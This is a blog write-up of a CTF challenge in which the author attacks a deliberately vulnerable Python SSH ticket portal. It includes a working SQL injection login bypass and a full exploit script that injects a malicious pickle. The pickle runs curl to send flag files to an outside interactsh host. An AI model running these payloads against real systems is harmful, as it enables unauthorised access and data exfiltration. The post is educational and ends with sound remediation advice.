DEV Community

Robert Babaev
Robert Babaev

Posted on

UnitedCTF 2024 - IT Portal Writeup (Full Track)

IT Portal was a 2-challenge-long track at UnitedCTF 2024, provided by the folks at Desjardins. Here's how it went for me.

Preface

An internal team has designed a support portal to treat incidents and maintenance requests. Your mandate is to audit this new system.

The source code and an instance have been made available to you for your tests. However, the team did not provide you with an account to do these tests with!

Your first objective is thus to authenticate to the application!
Enter fullscreen mode Exit fullscreen mode

Well, that's great. If I had a nickel for every time for every time I had to do security work on something where I had absolutely no credentials and had to break my way in, I'd have 2 nickels. That, however, is a story for another time.

Part 1 - SQLi, Just Like Grandma Used To Make

Let's get the ball rolling. First up, source code inspection. I needed to get into the application somehow, and the instancer said something about using SSH to log in . . . somehow.

I noticed the paramiko import off the bat and put two and two together -- this was the login portal. And it was rolling its own SSH. Oh boy.

#!/usr/bin/env python3

import sys
import time
import base64
import pickle
import socket
import sqlite3
import paramiko
import threading
from paramiko.common import (AUTH_SUCCESSFUL, AUTH_FAILED,
                             OPEN_SUCCEEDED, OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED)
Enter fullscreen mode Exit fullscreen mode

For those unaware, paramiko is a Python package specifically designed for all things SSH: Servers, Clients, everything you could ever want!

My suspicions were confirmed when the ITPortal class was derived from Paramiko's server interface. And -- excuse me, WHAT?

class ITPortal(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()

    def check_channel_request(self, kind, chanid):
        if kind == "session":
            return OPEN_SUCCEEDED
        return OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

    def check_auth_password(self, username: str, password: str) -> int:
        con = sqlite3.connect(DB)
        c = con.cursor()

        user = c.execute(
            f'SELECT user_id from users where username LIKE "{username}"'
        ).fetchone()
        if user is None:
            return AUTH_FAILED

        auth = c.execute(
            f'SELECT user_id from users where username == "{username}" and password == "{password}"'
        ).fetchone()
        if auth is not None:
            return AUTH_SUCCESSFUL
        return AUTH_FAILED

    # --- SNIP ---

Enter fullscreen mode Exit fullscreen mode

Folks, we are maybe 1 minute into looking at this file, being GENEROUS, and we already have not one, but two SQL injections. And they're the classic garden variety zero-filter type.

Alright, I can get a sense of where to go from here. Now I just need to write an SSH client that doesn't . . . take . . . a login shell. Well, you know what they say about learning experiences.

I did sneak a peek at the handle function to make sure I wasn't doing anything crazy. I did need to factor in a host key -- I opted to use some Python to generate a guaranteed-paramiko-compatible SSH key for the host, chucked it in the key file mentioned, and I was in business.

def handle(client: socket.socket, server: ITPortal):
    t = paramiko.Transport(client)
    host_key = paramiko.RSAKey(filename=HOST_KEY)
    t.add_server_key(host_key)
    t.start_server(server=server)

    chan = t.accept(20)
    if chan is None:
        print("[!] No channel started, exiting.")
        sys.exit(1)

    while True:
        chan.send(CLEAR) # clear terminal
        chan.send(b"[ " + FLAG + b" ]")
        chan.send(MENU)
        choice = readline(chan).strip(b"\r\n")

# --- SNIP ---

def start_server(address: str, port: int):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    try: 
        s.bind((address, port))
        portal = ITPortal()

        s.listen(100)

        while True:
            client, addr = s.accept()
            print('[?] Incoming connection from: ', addr)
            t = threading.Thread(target=handle, args=[client, portal])
            t.start()
    finally:
        s.close()


if __name__ == "__main__":
    print('[*] - IT Portal -')
    print('[?] Serving on 0.0.0.0:2020')
    start_server("0.0.0.0", 2020)
Enter fullscreen mode Exit fullscreen mode

The only other thing is that check_auth_password indicated that I needed an SQLite3 database, so a quick and dirty users table based on what I was seeing solved that:

$ sqlite3 db/portal.db
> CREATE TABLE users(user_id, username, password);
> .exit
Enter fullscreen mode Exit fullscreen mode

That was easy. Alright, time to test.

In one terminal window, I spooled up a local version of the portal using uv: uv run --with paramiko portal.py

In another, I got the beginnings of a solve script. After bit of time fiddling with Paramiko's API, and introducing the classic " OR 1=1-- payload that so many SQL databases have been graced with, I had this:

import paramiko
from paramiko import Channel, SSHClient

def main():
    client = SSHClient()
    client.load_system_host_keys()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(
        "localhost",
        port=2020,
        username='" OR 1=1--',
        password="hello",
        look_for_keys=False,
    )
    print("[+] Logged in successfully.")
    channel = client.invoke_shell()
    time.sleep(0.1)
    while channel.recv_ready():
        output = channel.recv(1000)
        # This gets rid of the "screen clear" bytes
        output = output.replace(b"\x1b[H\x1b[2J", b"")
        print(output.decode(), end="")
Enter fullscreen mode Exit fullscreen mode

In short, this would turn both SQL statements formed by the login into:

SELECT user_id from users where username LIKE "" OR 1=1 --
SELECT user_id from users where username == "" OR 1=1 -- and password == "hello"
Enter fullscreen mode Exit fullscreen mode

1=1 is a tautology, so these just resolve to the first entry the database can find, and we're through. That's flag one!

[+] Logged in successfully.
[ flag-aa2181b8db80934befc12a9faf688b ]
-----------------------
|| IT SUPPORT PORTAL ||
-----------------------
|  1 - Create Ticket  |
|  2 - Check Ticket   |
|  x - Exit           |
-----------------------
>
Enter fullscreen mode Exit fullscreen mode

Part 2: You INSERTED a Pickle WHERE?

Alright, time to look at the rest of this portal. It looked like it could do 2 things:

  • Create tickets
  • Inspect tickets

Hilariously, this was enough to completely compromise the app.

Now, you'd think that the worst that could happen would be that they'd have another SQL injection that I'd have to finagle into sensitive information disclosure.

Then I saw this:

def create_ticket(project: str, subject: str, desc: str):
    con = sqlite3.connect(DB)
    c = con.cursor()
    try:
        t = Ticket(subject, desc)
        t_blob = base64.b64encode(pickle.dumps(t)).decode() 
        print(project)
        c.execute( # Uh oh.
            f'INSERT INTO tickets (project, ticket) VALUES ("{project}", "{t_blob}")'
        )
        con.commit()
    finally:
        c.close()
        con.close()
Enter fullscreen mode Exit fullscreen mode

Did . . . that's pickle. Why are people using pickle for data storage?! You know, I should have figured as much from the imports, but oh JOY, was I going to have a time here.

Quick Python lesson: Pickle is a way of serializing and unserializing data into binary format for easier storage. You can, to an extent, store the state of a python program at a specific moment in time.

Fun fact, pickle can also cause a remote code execution when you load a pickled Python object. And guess what this program does?

def check_tickets(project: str) -> str | None:
    con = sqlite3.connect(DB)
    c = con.cursor()
    body = ""
    try:
        # Hilariously, this is actually the correct way of doing it
        tickets = c.execute(
            "SELECT ticket from tickets where project = (?)", (project,)
        ).fetchall()
        if len(tickets) == 0:
            return None
        for ticket in tickets:
            if ticket is None:
                continue
            t = pickle.loads(base64.b64decode(ticket[0])) # *Uh oh.*
            line = f"| {t.subject} :: {t.status}\r\n"
            body += line
        return body
    except Exception as e:
        print("[!] Err: ", e)
    finally:
        c.close()
        con.close()
Enter fullscreen mode Exit fullscreen mode

Alright. Here's the gist of the issue:

  • The program pickles an object, base64 encodes it, and then stores it in a database.
  • The program then assumes the object will be in the form that it expects.
  • The program then unpickles the object, thinking it will not cause any problems.

Unfortunately, they forgot just one teensy tiny detail: There's another SQL injection upon insert. And they don't make the same mistake when they read from the database.

So, how did I exploit this?

Part 3: Out of Band, Out of Mind!

Python classes can define a __reduce__ method, which allows them to specify how they'll be serialized into a pickle object. Since I could more or less fully control what was being inserted into, and thus extracted from, the database, I had a decent amount of power.

However, it took some fiddling to figure out how to actually do it. Another player actually had a much better payload than I did, but this is what I came up with:

class Ticket:
    STATUS = ["open", "in progress", "closed"]

    def __reduce__(self):
        return (
            os.system,
            (
                "curl https://olpcagyxhunezwuouwgabt4twk3wueffb.oast.fun/$(cat /flag* | base64 -w 0)",
            ),
        )

    def __init__(self, subject, desc):
        self.subject = subject
        self.desc = desc
        self.status = "open"
Enter fullscreen mode Exit fullscreen mode

That oast.fun URL is actually a link to interactsh, a fantastic out-of-band (OOB) interaction server, perfect for server-side request forgeries and, in my case, data exfil. (Shout out to Quack for the writeup that inspired this technique.)

I used cat with a wildcard to read anything that looked like it had a flag prefix, that way I'd be able to do all of this in a single request. Base64 encoding made sure that the output was URL safe. However, if you want something more sophisticated, ngrok and a bash TCP reverse shell are more than likely possible like this player did.

That said, now I just needed to send a payload over the wire. After creating a function to condense the repeated calls to recv() et al., this was the remainder of the exploit script:

    # Exploit Part 1: Sowing the Seed

    channel.sendall(b"1\n")
    time.sleep(0.1)
    receive(channel)
    time.sleep(0.1)
    project = secrets.token_hex(8)
    payload = pickle.dumps(Ticket(project, "Some Description"))
    pickletools.dis(payload)
    delivery = f'{project}", "{base64.b64encode(payload).decode()}")--\n'
    # delivery = f"{project}\n"
    channel.sendall(delivery.encode())
    receive(channel)
    time.sleep(0.1)
    channel.sendall(b"This won't matter\n")
    receive(channel)
    time.sleep(0.1)
    channel.sendall(b"And neither will this!\n")
    receive(channel)
    time.sleep(0.1)

    # Exploit Part 2: Reaping the Reward

    channel.sendall(b"2\n")
    receive(channel)
    time.sleep(0.1)
    channel.sendall(f"{project}\n".encode())
    receive(channel)

    client.close()

    # We're done here.  Over to interactsh!
Enter fullscreen mode Exit fullscreen mode

Now, the first few times I did this, I could not get anything to show up, and that's because I initially took a different approach trying to inject os function calls into the body of the ticket directly. Which, realistically, is about as bad for stealth as triggering an OOB interaction and then forcing an error. Oh well.

Below is an example of the result in interactsh:
The flag data, base64 encoded in app.interactsh.com's Request tab

And a call to ls decoded in CyberChef.
A call to ls as obtained from interact.sh, decoded in CyberChef

Conclusion

So, to address the various security issues at play here:

  1. Honestly, unless you have a really good reason to, rolling your own SSH Server isn't a great idea. Combined with the SQL injection, this portal had an authentication bypass that really shouldn't have happened.
  2. Parameterized queries! They're super important for preventing SQL injections, and as we've seen here, those escalate real fast.
  3. Pickle -- just don't. Find another way to serialize it. There are so many RCE risks it's not even funny. Heck, there was an opportunity to just have the ticket attributes be an actual part of the database table, maybe have a hook function to read from the tuple, plenty of ways of going about it. No need to get fancy with base64-encoded pickling, although I absolutely get why you might do that.

Great challenge, really had a lot of fun with this one.

Top comments (0)